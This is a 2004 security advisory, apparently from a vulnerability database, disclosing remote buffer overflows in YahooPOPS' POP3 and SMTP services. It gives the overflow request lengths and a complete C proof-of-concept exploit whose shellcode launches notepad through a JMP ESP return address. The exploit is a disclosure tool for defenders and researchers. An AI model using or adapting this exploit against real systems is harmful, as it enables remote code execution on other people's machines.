[Hat-Squad] Remote Buffer overflow Vulnerability in YahooPOPS

Type securityvulns
Reporter Securityvulns
Modified 2004-09-28T00:00:00


Hat-Squad Advisory: Remote Buffer overflow Vulnerability in YahooPOPS September 22, 2004

Product: YahooPOPS! Vendor URL: http://yahoopops.sourceforge.net Version: YahooPOPS v0.4 up to v0.6 Vulnerability: Remote Buffer overflows Release Date: 27 September 2004

Vendor Status: Informed on 24 September 2004 Response: no response Description:

YahooPOPs! Is an application that provides POP3 access to Yahoo! Mail. It is available on the Windows, Linux, Solaris and Mac platforms. This application emulates a POP3 & SMTP server. It also enables popular email clients like Outlook, Netscape, Eudora, Mozilla, etc., to download email from Yahoo! accounts. The Latest version of this Program is 0.6 and released in 23 May 2004 until now over 120000 users download this program.

Both POP3 and SMTP services have buffer overflow vulnerabilities. The Remote Attacker can send specific Request to these services to cause a Stack based buffer overflow which could allow a remote attacker to execute arbitrary code or just simply crash the service on a vulnerable system.


A YahooPOPS 0.x has the Local SMTP and POP3 engines to send and receive emails. SMTP service Dose not Enable By default. Users can enable SMTP by Software Options.

A POP3 USER request with more than 180 bytes will start to corrupt the heap. POP3 request (Dos Attack):

Telnet localhost 110 +OK POP3 YahooPOPs! Proxy ready [USER][180xA][BBBB]

As a result EAX and ECX will be overwritten.

SMTP request: Sending a request with more than 504 bytes will overwrite ESP and cause a stack based overflow.

Telnet localhost 25 220 YahooPOPs! Simple Mail Transfer Service Ready [504xA] [BBBB]

As a result The EIP registers will be overwritten.

Proof of concept demo exploit for YPOP! SMTP listener:

include <stdio.h>

include <string.h>

include <windows.h>

include <winsock.h>

pragma comment(lib,"wsock32.lib")

int main(int argc, char *argv[]) { static char overflow[1024];

char ret_code[]="\x23\x9b\x02\x10"; //JMP ESP - libcurl.dll char jump_back[]="\x89\xe3\x66\x81\xeb\xfb\x01\xff\xe3";

/- harmless code (tnx to snooq) , will open notepad on the remote machine / char code[]= "\x33\xc0" // xor eax, eax slight modification to move esp up "\xb0\xf0" // mov al, 0f0h "\x2b\xe0" // sub esp,eax "\x83\xE4\xF0" // and esp, 0FFFFFFF0h "\x55" // push ebp "\x8b\xec" // mov ebp, esp "\x33\xf6" // xor esi, esi "\x56" // push esi "\x68\x2e\x65\x78\x65" // push 'exe.' "\x68\x65\x70\x61\x64" // push 'dape' "\x68\x90\x6e\x6f\x74" // push 'ton' "\x46" // inc esi "\x56" // push esi "\x8d\x7d\xf1" // lea edi, [ebp-0xf] "\x57" // push edi "\xb8\x35\xfd\xe6\x77" // mov eax,XXXX -> WinExec()win2k(SP4)=0x7c4e9c1d "\xff\xd0" // call eax "\x4e" // dec esi "\x56" // push esi "\xb8\xfd\x98\xe7\x77" // mov eax,YYYY ->ExitProcess()win2k(SP4)0x7c4ee01a "\xff\xd0"; // call eax

WSADATA wsaData;

struct hostent hp; struct sockaddr_in sockin; char buf[300], check; int sockfd, bytes; int plen,i; char *hostname; unsigned short port;

if (argc <= 1) { printf("YPOPs! SMTP Overflow\n"); printf("By: Behrang Fouladi(behrang@hat-squad.com)\n\n"); printf("Usage: %s [hostname] [port]\n", argv[0]); printf("default port is 25 \n");



printf("YPOPs! SMTP Overflow\n"); printf("By: Behrang Fouladi(behrang@hat-squad.com)\n\n");

hostname = argv[1]; if (argv[2]) port = atoi(argv[2]); else port = atoi("25");

if (WSAStartup(MAKEWORD(1, 1), &wsaData) < 0) { fprintf(stderr, "Error setting up with WinSock v1.1\n"); exit(-1); }

hp = gethostbyname(hostname); if (hp == NULL) { printf("ERROR: Uknown host %s\n", hostname); printf("%s",hostname); exit(-1); }

sockin.sin_family = hp->h_addrtype; sockin.sin_port = htons(port); sockin.sin_addr = ((struct in_addr )hp->h_addr);

if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == SOCKET_ERROR) { printf("ERROR: Socket Error\n"); exit(-1); }

if ((connect(sockfd, (struct sockaddr *) &sockin, sizeof(sockin))) == SOCKET_ERROR) { printf("ERROR: Connect Error\n"); closesocket(sockfd); WSACleanup(); exit(-1); }

printf("Connected to [%s] on port [%d], sending overflow....\n", hostname, port);

if ((bytes = recv(sockfd, buf, 300, 0)) == SOCKET_ERROR) { printf("ERROR: Recv Error\n"); closesocket(sockfd); WSACleanup(); exit(1); }

/ wait for SMTP service welcome/ buf[bytes] = '\0'; check = strstr(buf, "220"); if (check == NULL) { printf("ERROR: NO response from SMTP service\n"); closesocket(sockfd); WSACleanup(); exit(-1); }

plen=504-sizeof(code); memset(overflow,0,sizeof(overflow));

for (i=0; i<plen;i++){strcat(overflow,"\x90");}

strcat(overflow,code); strcat(overflow,ret_code); strcat(overflow,jump_back); strcat(overflow,"\n");

if (send(sockfd, overflow, strlen(overflow),0) == SOCKET_ERROR) { printf("ERROR: Send Error\n"); closesocket(sockfd); WSACleanup(); exit(-1); }

printf("Exploit Sent.\n");

closesocket(sockfd); WSACleanup(); return 0; }

Vendor response: no response


This vulnerability has been discovered by Nima Majidi (nima_majidi@hat-squad.com)

The Original advisory could be found at: